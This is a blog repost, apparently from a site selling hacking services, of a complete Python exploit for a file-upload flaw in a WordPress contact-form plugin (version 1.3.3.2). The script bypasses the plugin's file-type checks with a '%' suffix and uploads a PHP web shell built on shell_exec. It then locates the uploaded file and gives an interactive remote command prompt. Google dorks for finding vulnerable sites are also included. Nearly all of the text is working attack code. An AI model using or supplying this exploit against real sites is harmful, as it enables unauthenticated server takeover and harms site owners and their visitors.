Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86389506

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: WordPress Plugin Drag and Drop File Upload Contact Form 1.3.3.2 - Remote Code Execution
# Date: 2020-05-11
# Exploit Author: Austin Martin
# Google Dork: inurl:wp-content/uploads/wp_dndcf7_uploads/
# Google Dork: inurl:wp-content/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
# Vendor Homepage: https://www.codedropz.com/
# Software Link: https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/
# Version: 1.3.3.2
# Tested on: WordPress 5.4.1, PHP 7.41
# CVE : N/A

# Notes:
# At time of disclosure, the WordPress page listed this plugin being used by +10,000 applications
# Application was patched by vendor within 24 hours of initial disclosure
# This exploit works bypassing the allowed file types and file type sanitization. If lucky, a PHP file with a reverse shell can be uploaded and accessed

# Any file types can be added to the "supported_type"  parameter
# These uploaded files can be accessed at wp-content/uploads/wp_dndcf7_uploads/
# Dangerous file types such as php have "_.txt" appended to the end creating a text file
# This can be bypassed by adding '%' to the end of the allowed file type, and the end of the file name
# ex. "php%" for file type and "shell.php%" for filename
# The PHP payload in the POC can be easily modified to gain a reverse shell

#!/usr/bin/python
import string
import random
import requests
from bs4 import BeautifulSoup
import sys

payloadurl=""
def RecurseLinks(base,file):

    headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0"}
    f = requests.get(base, headers=headers)
    soup = BeautifulSoup(f.content, "html.parser")

    for root in soup.find_all("a"):
        href = root.get("href")
        if (href.startswith("/")):
            do = "nothing"
        elif (href.endswith("/")):
            RecurseLinks(base + href, file)
        else:
            if file in href:
                print ("\n[+] File Found --> " + base + href)
                global payloadurl
                payloadurl = (base+href)

def main():
    #os.system('cls')
    print("WordPress Plugin \'Drag and Drop Multiple File Upload - Contact Form 7\' 1.3.3.2 - Unauthenticated Remote Code Execution")
    print("@amartinsec --> Twitter\nCVE:2020-12800\n")

    #Build The Request
    #Generate random URL for filename
    file = ''.join(random.sample((string.ascii_uppercase + string.digits), 6))

    urlinput = raw_input("[+] Enter url to the vulnerable WordPress application: ")

    #Finding the nonce used in the Ajax security string
    print ("\n[+] Searching for security string nonce")
    headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}
    homepage = requests.get(urlinput,headers=headers)
    homepage = homepage.text
    homepage = homepage.split("ajax_nonce\":\"",1)[1]
    securitykey = homepage[:10]
    print("[+] Found security string --> " + securitykey)

    url = urlinput + "/wp-admin/admin-ajax.php"

    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0",
                     "Accept": "application/json, text/javascript, */*; q=0.01", "Accept-Language": "en-US,en;q=0.5",
                     "Accept-Encoding": "gzip, deflate", "X-Requested-With": "XMLHttpRequest",
                     "Content-Type": "multipart/form-data; boundary=---------------------------350278735926454076983690555601",
                     }
    data = "-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"supported_type\"\r\n\r\n" \
           "php%\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"size_limit\"\r\n\r\n" \
           "5242880\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\n" \
           "dnd_codedropz_upload\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"type" \
           "\"\r\n\r\nclick\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"security\"\r" \
           "\n\r\n" + securitykey +"\r\n-----------------------------350278735926454076983690555601\r\nContent-Disposition: form-data; name=\"upload-file\"; " \
           "filename=\"" + file +".php%\"\r\nContent-Type: text/plain\r\n\r\n" \
           "<?php echo shell_exec($_GET['e'].' 2>&1'); ?>" \
           "\r\n-----------------------------350278735926454076983690555601--\r\n"

    print "\n[+] Sending payload to target"

    response = requests.post(url, headers=headers, data=data)

    if "200" in str(response):
        print("[+] Looks like a successful file upload!\n")


    elif "403" in str(response):
        print("\nFile Upload Failed")
        print("403 in response. Check security string")
        sys.exit(1)

    else:
        print("File upload failed. Try the manual way with Burp")
        sys.exit(1)

    print("[+] Crawling for the uploaded file. This may take a minute...")
    print("[+] Searching for " + file + ".php")

    RecurseLinks(urlinput + "/wp-content/uploads/",file)

    if payloadurl == "":
        print("Can't find the file on the web server")
        print("Try the manual method")
        sys.exit(1)

    #If all goes well, we can now send requests for RCE
    print("[+] Success\n")
    while True:
        cmd= raw_input("[+] CMD: ")
        headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'}
        request = requests.get(payloadurl + "?e=" + cmd, headers=headers)
        print request.text

if __name__ == "__main__":
    main()